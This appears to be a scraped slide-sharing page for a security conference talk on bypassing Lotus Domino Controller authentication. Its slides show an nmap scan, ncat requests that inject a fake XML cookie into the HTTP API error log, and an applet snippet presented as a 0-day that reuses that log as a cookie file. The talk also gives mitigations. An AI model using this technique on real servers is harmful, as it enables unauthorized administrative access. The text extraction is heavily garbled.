  while(true);	
  
                                                                                      	
  .	
  .	
  .	
  




erpscan.com	
             ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                                                                    32	
  
XML?	
  

 	
  
 	
  
 cookie.xml:	
  
 <?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
 <user	
  name=“admin"	
  cookie=“dsecrg"	
  address=“10.10.0.1">	
                              Valid	
  



 cookie2.xml.trash:	
  
 There	
  is	
  a	
  good	
  <user	
  xml	
  file!	
  
 andname=“admin”willbefound	
  
 as	
  cookie=“dsecrg”	
  andaddress=“10.10.0.1”hooray!	
  
 >and	
  blah-­‐blah-­‐blah	
  




erpscan.com	
                    ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     33	
  
XML?	
  

 	
  
 	
  
 cookie.xml:	
  
 <?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
 <user	
  name=“admin"	
  cookie=“dsecrg"	
  address=“10.10.0.1">	
                              Valid	
  



 cookie2.xml.trash:	
  
 There	
  is	
  a	
  good	
  <user	
  xml	
  file!	
  
 andname=“admin”willbefound	
  
 as	
  cookie=“dsecrg”	
  andaddress=“10.10.0.1”hooray!	
  
 >and	
  blah-­‐blah-­‐blah	
  




erpscan.com	
                    ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     34	
  
XML?	
  

 	
  
 	
  
 cookie.xml:	
  
 <?xml	
  version="1.0"	
  encoding="UTF-­‐8"?>	
  
 <user	
  name=“admin"	
  cookie=“dsecrg"	
  address=“10.10.0.1">	
                              Valid	
  



 cookie2.xml.trash:	
  
 There	
  is	
  a	
  good	
  <user	
  xml	
  file!	
  
 andname=“admin”willbefound	
                                                                    Valid	
  
 as	
  cookie=“dsecrg”	
  andaddress=“10.10.0.1”hooray!	
  
 >and	
  blah-­‐blah-­‐blah	
  




erpscan.com	
                    ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     35	
  
XML	
  cookie	
  Injec0on	
  

 	
  
 	
  
 	
  
 Nmap	
  –sV	
  -­‐PN	
  -­‐T5	
  -­‐p	
  …	
  0	
  192.168.0.13	
  
 .	
  .	
  .	
  
 Nmap	
  scan	
  report	
  for	
  targethost	
  (192.168.0.13)	
  
 PORT	
  	
  	
  	
  	
  STATE	
  SERVICE	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  VERSION	
  
 110/tcp	
  	
  	
  open	
  	
  pop3	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  POP3	
  server	
  8.5.3	
  
 1352/tcp	
  	
  open	
  	
  lotusnotes	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  server	
  (CN=SERV;Org=Company)	
  
 1533/tcp	
  	
  open	
  	
  hNp	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  Lotus	
  Domino	
  hNpd	
  
 2050/tcp	
  open	
  	
  ssl/unknown	
  	
  
 49152/tcp	
  	
  open	
  	
  hPp	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  MicrosoQ	
  HTTP	
  API	
  2.0	
  
 MAC	
  Address:	
  00:1A:1B:8A:1F:1E	
  (HewleN	
  Packard)	
  
 Service	
  Info:	
  OS:	
  Windows/Longhorn/64	
  6.1	
  




erpscan.com	
                                 ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
         36	
  
XML	
  cookie	
  Injec0on	
  

 	
  
 	
  
 ncat	
  targethost	
  49152	
  
 GET	
  /<user	
  name="admin"cookie="pass"address="111">	
  HTTP/1.0rnrn	
  



  c:windowssystem32logfileshzperrhzperr1.log:	
  
  #Software:	
  Microsoft	
  HTTP	
  API	
  2.0	
  
  #Version:	
  1.0	
  
  #Date:	
  2011-­‐08-­‐22	
  09:19:16	
  
  #Fields:	
  date	
  time	
  c-­‐ip	
  c-­‐port	
  s-­‐ip	
  s-­‐port	
  cs-­‐version	
  cs-­‐method	
  cs-­‐uri	
  sc-­‐status	
  	
  
  s-­‐siteid	
  s-­‐reason	
  s-­‐queuename	
  
  2011-­‐08-­‐22	
  09:19:16	
  10.10.10.101	
  46130	
  10.10.9.9	
  	
  47001	
  -­‐	
  -­‐	
  -­‐	
  400	
  -­‐	
  BadRequest	
  -­‐	
  
  2011-­‐08-­‐22	
  09:19:16	
  10.10.10.101	
  46234	
  10.10.9.9	
  	
  47001	
  HTTP/1.0	
  	
  
  GET	
  /<user%20name="admin"cookie="pass"address="111">	
  404	
  -­‐	
  NotFound	
  -­‐	
  




erpscan.com	
                            ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                            37	
  
XML	
  cookie	
  Injec0on	
  

 ncat	
  targethost	
  49152	
  
 GET	
  /<user	
  HTTP/1.0	
  
 	
  
 ncat	
  targethost	
  49152	
  
 GET	
  /name="admin"cookie="pass"address="111"	
  HTTP/1.0	
  
 	
  
  c:windowssystem32logfileshzperrhzperr1.log:	
  
  #Software:	
  Microsoft	
  HTTP	
  API	
  2.0	
  
  #Version:	
  1.0	
  
  #Date:	
  2011-­‐08-­‐22	
  09:19:16	
  
  #Fields:	
  date	
  time	
  c-­‐ip	
  c-­‐port	
  s-­‐ip	
  s-­‐port	
  cs-­‐version	
  cs-­‐method	
  cs-­‐uri	
  sc-­‐status	
  	
  
  s-­‐siteid	
  s-­‐reason	
  s-­‐queuename	
  
  2011-­‐08-­‐22	
  09:19:16	
  10.10.10.101	
  46130	
  10.10.9.9	
  	
  47001	
  -­‐	
  -­‐	
  -­‐	
  400	
  -­‐	
  BadRequest	
  -­‐	
  
  2011-­‐08-­‐22	
  09:19:16	
  10.10.10.101	
  46234	
  10.10.9.9	
  	
  47001	
  HTTP/1.0	
  	
  
  GET	
  /<user	
  404	
  -­‐	
  NotFound	
  -­‐	
  
  2011-­‐08-­‐22	
  09:19:16	
  10.10.10.101	
  46234	
  10.10.9.9	
  GET	
  /name="admin"cookie="pass“	
  
  address="111">	
  404	
  -­‐	
  NotFound	
  -­‐	
  




erpscan.com	
                            ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
                            38	
  
What	
  about	
  client’s	
  cert?	
  

                                       dconsole.jar	
  
 	
  	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     39	
  
0-­‐day	
  exploit	
  (tested	
  on	
  8.5.3)	
  

 <applet	
  name	
  =	
  "DominoConsole"	
  
 code	
  =	
  "lotus.domino.console.DominoConsoleApplet.class"	
  
 codebase	
  =	
  "hQp://127.0.0.1/domjava/"	
  
 archive	
  =	
  "dconsole.jar"	
  
 width	
  =	
  "100%"	
  
 height	
  =	
  "99%“>	
  
 	
  
 <PARAM	
  NAME="debug"	
  VALUE="true">	
  
 <PARAM	
  NAME="port"	
  VALUE="2050">	
  
 <PARAM	
  NAME="useraddress"	
  VALUE="hQp://twiQer/asintsov">	
  
 <PARAM	
  NAME="username"	
  VALUE="admin">	
  
 <PARAM	
  NAME="cookiefile"	
  VALUE="......windowssystem32logfileshQperrhQperr1.log">	
  
 <PARAM	
  NAME="cookievalue"	
  VALUE="pass">	
  
 <PARAM	
  NAME="onLoad"	
  VALUE="onLoadConsole">	
  
 </applet>	
  



erpscan.com	
                ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     40	
  
DEMO	
  


 	
  	
  	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     41	
  
Internet/CyberWar/APT/Booo!	
  


 	
  	
  




erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     42	
  
Conclusions	
  

 •  Pen-­‐tester	
  will	
  get	
  more	
  profit	
  if	
  he	
  tries	
  to	
  
      research	
  something	
  	
  //	
  thx	
  Cap!	
  
 •  Good	
  pen-­‐tester	
  ∩	
  	
  good	
  security	
  researcher	
  
                                   	
  	
  	
  	
  
 •  We	
  got	
  0-­‐day	
  8)	
  
 	
  
 To	
  admins:	
  
 •  Set	
  filter	
  on	
  2050/tcp	
  
 •  Use	
  both	
  mi'ga'ons	
  
         –  Less	
  privileges	
  for	
  console	
  user	
  
         –  Set	
  service	
  password	
  on	
  console	
  
 	
  
erpscan.com	
                 ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     43	
  
Thank	
  you!	
  

                                                     	
  
                                                     	
  
                                                     	
  
                                                     	
  
                                                     	
  
                                                     	
              a.sintsov@erpscan.com	
  
                                                                 	
  
 	
                                                              @asintsov	
  
                                                                 	
  
                                                     	
  
                                                     	
  
                                                     	
  
                                                     	
  
                                                     	
  

erpscan.com	
     ERPScan	
  —	
  invest	
  in	
  security	
  to	
  secure	
  investments	
     44	
  

Weitere ähnliche Inhalte

Ähnlich wie Lotus Domino: Penetration Through the Controller

Agile Software Development with Intrinsic Quality
Agile Software Development with Intrinsic QualityAgile Software Development with Intrinsic Quality
Agile Software Development with Intrinsic QualityDemetrius Nunes
 
[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...
[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...
[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...GangSeok Lee
 
On Failure and Resilience
On Failure and ResilienceOn Failure and Resilience
On Failure and ResilienceMike Brittain
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
 
How to break web applications
How to break web applicationsHow to break web applications
How to break web applicationsDinis Cruz
 
Reading Group Presentation: The Power of Procrastination
Reading Group Presentation: The Power of ProcrastinationReading Group Presentation: The Power of Procrastination
Reading Group Presentation: The Power of ProcrastinationMichael Rushanan
 
Splunk @ Amazon Startup - Austin, TX - 9/11/2008
Splunk @ Amazon Startup - Austin, TX - 9/11/2008Splunk @ Amazon Startup - Austin, TX - 9/11/2008
Splunk @ Amazon Startup - Austin, TX - 9/11/2008Michael Wilde
 
Continuous Delivery of (y)our infrastructure.
Continuous Delivery of (y)our infrastructure.Continuous Delivery of (y)our infrastructure.
Continuous Delivery of (y)our infrastructure.Kris Buytaert
 
David Nuescheler: Igniting CQ 5.3: What's New and Roadmap
David Nuescheler: Igniting CQ 5.3: What's New and RoadmapDavid Nuescheler: Igniting CQ 5.3: What's New and Roadmap
David Nuescheler: Igniting CQ 5.3: What's New and RoadmapDay Software
 
Open Source Monitoring in 2019
Open Source Monitoring in 2019 Open Source Monitoring in 2019
Open Source Monitoring in 2019 Kris Buytaert
 
Pipeline as code for your infrastructure as Code
Pipeline as code for your infrastructure as CodePipeline as code for your infrastructure as Code
Pipeline as code for your infrastructure as CodeKris Buytaert
 
Securing Rails
Securing RailsSecuring Rails
Securing RailsAlex Payne
 
Data Driven Security, from Gartner Security Summit 2012
Data Driven Security, from Gartner Security Summit 2012Data Driven Security, from Gartner Security Summit 2012
Data Driven Security, from Gartner Security Summit 2012Nick Galbreath
 
The Magic of Symbiotic Security
The Magic of Symbiotic SecurityThe Magic of Symbiotic Security
The Magic of Symbiotic SecurityDenim Group
 
ePOM - Fundamentals of Research Software Development - Integrated Development...
ePOM - Fundamentals of Research Software Development - Integrated Development...ePOM - Fundamentals of Research Software Development - Integrated Development...
ePOM - Fundamentals of Research Software Development - Integrated Development...Giuseppe Masetti
 
Operations is a Strategic Weapon (PuppetConf)
Operations is a Strategic Weapon (PuppetConf)Operations is a Strategic Weapon (PuppetConf)
Operations is a Strategic Weapon (PuppetConf)dev2ops
 
Jsky Data Sheet
Jsky Data SheetJsky Data Sheet
Jsky Data Sheetmattotamhe
 
[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...
[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...
[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...CODE BLUE
 
михаил дударев
михаил дударевмихаил дударев
михаил дударевapps4allru
 
What's new in CQ 5.3? Top 10 features.
What's new in CQ 5.3? Top 10 features.What's new in CQ 5.3? Top 10 features.
What's new in CQ 5.3? Top 10 features.David Nuescheler
 

Ähnlich wie Lotus Domino: Penetration Through the Controller (20)

Agile Software Development with Intrinsic Quality
Agile Software Development with Intrinsic QualityAgile Software Development with Intrinsic Quality
Agile Software Development with Intrinsic Quality
 
[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...
[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...
[2010 CodeEngn Conference 04] passket - Taint analysis for vulnerability disc...
 
On Failure and Resilience
On Failure and ResilienceOn Failure and Resilience
On Failure and Resilience
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
 
How to break web applications
How to break web applicationsHow to break web applications
How to break web applications
 
Reading Group Presentation: The Power of Procrastination
Reading Group Presentation: The Power of ProcrastinationReading Group Presentation: The Power of Procrastination
Reading Group Presentation: The Power of Procrastination
 
Splunk @ Amazon Startup - Austin, TX - 9/11/2008
Splunk @ Amazon Startup - Austin, TX - 9/11/2008Splunk @ Amazon Startup - Austin, TX - 9/11/2008
Splunk @ Amazon Startup - Austin, TX - 9/11/2008
 
Continuous Delivery of (y)our infrastructure.
Continuous Delivery of (y)our infrastructure.Continuous Delivery of (y)our infrastructure.
Continuous Delivery of (y)our infrastructure.
 
David Nuescheler: Igniting CQ 5.3: What's New and Roadmap
David Nuescheler: Igniting CQ 5.3: What's New and RoadmapDavid Nuescheler: Igniting CQ 5.3: What's New and Roadmap
David Nuescheler: Igniting CQ 5.3: What's New and Roadmap
 
Open Source Monitoring in 2019
Open Source Monitoring in 2019 Open Source Monitoring in 2019
Open Source Monitoring in 2019
 
Pipeline as code for your infrastructure as Code
Pipeline as code for your infrastructure as CodePipeline as code for your infrastructure as Code
Pipeline as code for your infrastructure as Code
 
Securing Rails
Securing RailsSecuring Rails
Securing Rails
 
Data Driven Security, from Gartner Security Summit 2012
Data Driven Security, from Gartner Security Summit 2012Data Driven Security, from Gartner Security Summit 2012
Data Driven Security, from Gartner Security Summit 2012
 
The Magic of Symbiotic Security
The Magic of Symbiotic SecurityThe Magic of Symbiotic Security
The Magic of Symbiotic Security
 
ePOM - Fundamentals of Research Software Development - Integrated Development...
ePOM - Fundamentals of Research Software Development - Integrated Development...ePOM - Fundamentals of Research Software Development - Integrated Development...
ePOM - Fundamentals of Research Software Development - Integrated Development...
 
Operations is a Strategic Weapon (PuppetConf)
Operations is a Strategic Weapon (PuppetConf)Operations is a Strategic Weapon (PuppetConf)
Operations is a Strategic Weapon (PuppetConf)
 
Jsky Data Sheet
Jsky Data SheetJsky Data Sheet
Jsky Data Sheet
 
[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...
[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...
[CB19] Spyware, Ransomware and Worms. How to prevent the next SAP tragedy by ...
 
михаил дударев
михаил дударевмихаил дударев
михаил дударев
 
What's new in CQ 5.3? Top 10 features.
What's new in CQ 5.3? Top 10 features.What's new in CQ 5.3? Top 10 features.
What's new in CQ 5.3? Top 10 features.
 

Mehr von michelemanzotti

All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...
All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...
All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...michelemanzotti
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfacesmichelemanzotti
 
GDI Font Fuzzing in Windows Kernel For Fun
GDI Font Fuzzing in Windows Kernel For Fun GDI Font Fuzzing in Windows Kernel For Fun
GDI Font Fuzzing in Windows Kernel For Fun michelemanzotti
 
Lotus Domino: Penetration Through the Controller
Lotus Domino: Penetration Through the ControllerLotus Domino: Penetration Through the Controller
Lotus Domino: Penetration Through the Controllermichelemanzotti
 
Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?
Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?
Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?michelemanzotti
 
Federate Identity and Access Management
Federate Identity and Access ManagementFederate Identity and Access Management
Federate Identity and Access Managementmichelemanzotti
 
Simple Network Management Protocol
Simple Network Management ProtocolSimple Network Management Protocol
Simple Network Management Protocolmichelemanzotti
 
Sistema Federato Interregionale di Autenticazione
Sistema Federato Interregionale di AutenticazioneSistema Federato Interregionale di Autenticazione
Sistema Federato Interregionale di Autenticazionemichelemanzotti
 
L'impatto dei Servizi Applicativi
L'impatto dei Servizi ApplicativiL'impatto dei Servizi Applicativi
L'impatto dei Servizi Applicativimichelemanzotti
 

Mehr von michelemanzotti (10)

Hacking XPATH 2.0
Hacking XPATH 2.0Hacking XPATH 2.0
Hacking XPATH 2.0
 
All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...
All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...
All Your Calls Are Still Belong to Us: How We Compromised the Cisco VoIP Cryp...
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
GDI Font Fuzzing in Windows Kernel For Fun
GDI Font Fuzzing in Windows Kernel For Fun GDI Font Fuzzing in Windows Kernel For Fun
GDI Font Fuzzing in Windows Kernel For Fun
 
Lotus Domino: Penetration Through the Controller
Lotus Domino: Penetration Through the ControllerLotus Domino: Penetration Through the Controller
Lotus Domino: Penetration Through the Controller
 
Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?
Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?
Cyber-Attacks & SAP systems: Is Our Business-Critical Infrastructure Exposed?
 
Federate Identity and Access Management
Federate Identity and Access ManagementFederate Identity and Access Management
Federate Identity and Access Management
 
Simple Network Management Protocol
Simple Network Management ProtocolSimple Network Management Protocol
Simple Network Management Protocol
 
Sistema Federato Interregionale di Autenticazione
Sistema Federato Interregionale di AutenticazioneSistema Federato Interregionale di Autenticazione
Sistema Federato Interregionale di Autenticazione
 
L'impatto dei Servizi Applicativi
L'impatto dei Servizi ApplicativiL'impatto dei Servizi Applicativi
L'impatto dei Servizi Applicativi
 

Kürzlich hochgeladen

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024The Digital Insurer
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Zilliz
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...apidays
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024The Digital Insurer
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfOverkill Security
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native ApplicationsWSO2
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 

Kürzlich hochgeladen (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 

Lotus Domino: Penetration Through the Controller

  • 1. Invest  in  security   to  secure  investments   Lotus  Domino:   Penetra0on   Through  the   Controller     Alexey  Sintsov  
  • 2. #whoami   •  Pen-­‐tester  at  ERPscan  Company   Job  ,   money  and   fun   •  Researcher   Fun   •  Writer  at  ][akep  magazine   Self-­‐ importance   •  DCG#7812  POC   and  fun     Community   and  fun   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   2  
  • 3. ERPScan   •  Innova've  company  engaged  in  ERP  security  R&D   •  Part  of  “Digital  Security”,  a  Russian  group  of   companies  founded  in  2002   •  Flagship  product  –  ERPScan  Security  Scanner  for   SAP   •  Tools:  pen-­‐tes'ng  tool,  sapsploit,  web.xml  scanner   •  Consul'ng  Services:    ERP/SRM/CRM/SCADA/e.t.c   Pen-­‐tests,  SAP  assessment,  SAP  code  review   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   3  
  • 4. What  do  pen-­‐testers  do?   •  Scanning   •  Fingerprin'ng   •  Banner  grabbing   •  Play  with  passwords   •  Find  vulns.   •  Exploit  vulns.   •  Escalate  privs.   •  Dig  in   •  Find  ways  to  make  aQacks   •  And  e.t.c.   erpscan.com   ERPScan  —  invest  in  security  to  secure  investments   4  
